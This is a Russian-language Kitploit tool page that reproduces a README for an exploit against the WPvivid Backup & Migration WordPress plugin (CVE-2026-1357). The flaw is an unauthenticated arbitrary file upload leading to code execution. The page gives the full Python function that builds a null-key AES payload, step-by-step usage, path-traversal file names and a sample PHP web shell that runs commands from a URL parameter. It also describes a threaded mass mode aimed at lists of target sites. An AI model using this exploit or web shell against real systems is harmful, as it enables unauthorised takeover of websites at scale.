Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-1357 — Миграция, Резервное копирование, Промежуточная среда <= 0.9.123 - Неавторизованная произвольная загрузка файлов | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-1357
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Миграция, Резервное копирование, Промежуточная среда <= 0.9.123 - Неавторизованная произвольная загрузка файлов

Репозиторий
196 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🧨 CVE-2026-1357 – Инструмент эксплуатации WPvivid с нулевым ключом (CVE-2026-1357.py)

Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Уязвимость: Неаутентифицированная произвольная загрузка файлов → Удаленное выполнение кода
CVE: CVE-2026-1357 – CVSS 9.8 (Критическая)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Что делает этот скрипт

Nxploited

CVE-2026-1357.py — это proof-of-concept инструмент эксплуатации уязвимости WPvivid. Он фокусируется на ошибочной обработке сессии AES, которая позволяет атакующему:

  1. Зашифровать полезную нагрузку с нулевым AES-ключом/IV (все байты нулевые) в том же формате, который ожидает WPvivid.
  2. Встроить в полезную нагрузку произвольное содержимое файла (например, PHP-шелл) и выбранное имя/путь файла (name).
  3. Отправить эту полезную нагрузку на конечную точку WPvivid через параметр wpvivid_action=send_to_site.
  4. (Опционально) проверить, был ли файл успешно записан и доступен.

Скрипт не пытается угадать или злоупотребить закрытыми ключами напрямую. Вместо этого он имитирует сломанный поток WPvivid, где неудачный вызов openssl_private_decrypt() приводит к инициализации AES-шифра phpseclib с нулевым ключом.


🧠 Технические детали

🔐 Полезная нагрузка с нулевым ключом AES

Ядро эксплойта находится в gen_wpvivid_payload():

  • Он создает JSON-структуру:
    {
      "name": "<имя_файла>",
      "offset": 0,
      "data": "<base64(байты_файла)>",
      "file_size": <len(байты_файла)>,
      "md5": "<md5(байты_файла)>"
    }
    
  • Он сериализует этот JSON (компактная форма, без пробелов).
  • Он шифрует JSON, используя:
    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Затем добавляет в начало:
    • 3 байта: "000" (заполнитель статического поля длины).
    • 16-байтовый шестнадцатеричный код в верхнем регистре: длина шифротекста в формате "{len(cipher):016X}".
  • Итоговый зашифрованный блок выглядит так:
    "000" + <16-байтовый шестнадцатеричный код длины шифротекста> + <сырой шифротекст AES-CBC>
    
  • Этот блок кодируется в base64 и возвращается как финальное значение wpvivid_content.

Функция:

def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Это соответствует ожиданиям WPvivid при расшифровке в уязвимом пути кода после сбоя расшифровки RSA.


🧰 Возможности и режимы

Скрипт имеет два основных режима плюс возможность массового тестирования:

  1. mood1 – Генератор полезной нагрузки

    • Генерирует валидное значение wpvivid_content, используя трюк с нулевым ключом.
    • Поддерживает несколько способов определения содержимого файла.
    • Опционально запускает массовый тестер по списку целей.
  2. mood2 – Тестер одной цели

    • Использует ранее сгенерированную полезную нагрузку.
    • Тестирует одну цель по полному циклу:
      • Отправляет полезную нагрузку.
      • Строит ожидаемый URL итогового файла.
      • Проверяет, доступен ли файл.
  3. Массовый режим (из mood1)

    • Отправляет выбранную полезную нагрузку на несколько целей из файла списка.
    • Использует параллельную обработку и индикатор прогресса.
    • Отслеживает и записывает успешные загрузки.

🚦 Запуск скрипта

python3 CVE-2026-1357.py

Вы увидите интерфейс на Rich с баннером и выбором режима:

  • mood1 – Генератор полезной нагрузки
  • mood2 – Тестер одной цели

🧪 Режим: mood1 – Генератор полезной нагрузки

Назначение

  • Создать полезную нагрузку эксплойта (wpvivid_content), которая кодирует:
    • Путь/имя файла, который должен быть записан WPvivid.
    • Содержимое файла (шелл, тестовый файл и т.д.).

Поток работы

  1. Выбор режима

    При запросе:

    Choose mode (mood1/mood2) [mood1]:
    

    Нажмите Enter (по умолчанию mood1) или введите mood1.

  2. Имя/путь целевого файла

    Вас спрашивают:

    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Примеры:

    • Чтобы поместить файл в каталог резервных копий WPvivid:
      Nx_.php
      
    • Чтобы использовать обход каталогов (если разрешено целью):
      ../../public_html/Nx_.php
      

    Значение попадает в поле name JSON-полезной нагрузки.

  3. Режим ввода содержимого

    Скрипт показывает три способа определить содержимое файла:

    • Режим 1: однострочное содержимое.
    • Режим 2: многострочное содержимое (заканчивается EOF).
    • Режим 3: чтение из локального файла (например, shell.php).

    Вас спрашивают:

    Mode [1/2/3] [1]:
    
    • Режим 1 – Однострочный

      Single line content:
      

      Пример ввода:

      <?php phpinfo();
      
    • Режим 2 – Многострочный

      Enter file content, line by line. Type 'EOF' on its own line when done.
      

      Вы можете вставить или ввести многострочный PHP-скрипт, затем закончить строкой EOF на отдельной строке:

      <?php
      echo "Nxploited shell";
      system($_GET['cmd'] ?? 'id');
      ?>
      EOF
      
    • Режим 3 – Локальный файл

      Local file path (e.g., shell.php):
      

      Скрипт читает весь файл в file_bytes.

  4. Генерация полезной нагрузки

    Как только содержимое захвачено, скрипт:

    • Строит JSON-объект.
    • Шифрует его с помощью AES-CBC с нулевым ключом.
    • Упаковывает двоичный блок.
    • Кодирует в base64.

    Вы видите вывод, например:

    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    И создается файл wpvivid_payload.txt:

    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    

Опционально: Массовый режим из mood1

После генерации полезной нагрузки скрипт спрашивает:

Auto-send this payload to targets list (mass mode)? (y/N):

Если вы отвечаете y, запускается массовый режим с только что созданными полезной нагрузкой и именем файла.


🌐 Массовый режим – Несколько целей

Назначение

  • Взять одну полезную нагрузку эксплойта и протестировать её на списке целей.

Поток работы

  1. Файл со списком целей

    Пример запроса:

    Targets list file (one URL per line):
    

    Ожидаемый формат файла (например, targets.txt):

    https://site1.com
    site2.com
    http://site3.net
    

    Скрипт автоматически нормализует базовые URL (добавляет схему, если отсутствует).

  2. Количество потоков

    Threads (concurrent sites) [5]:
    

    Определяет, сколько сайтов обрабатывается параллельно.

  3. Логика для каждой цели

Скачать инструмент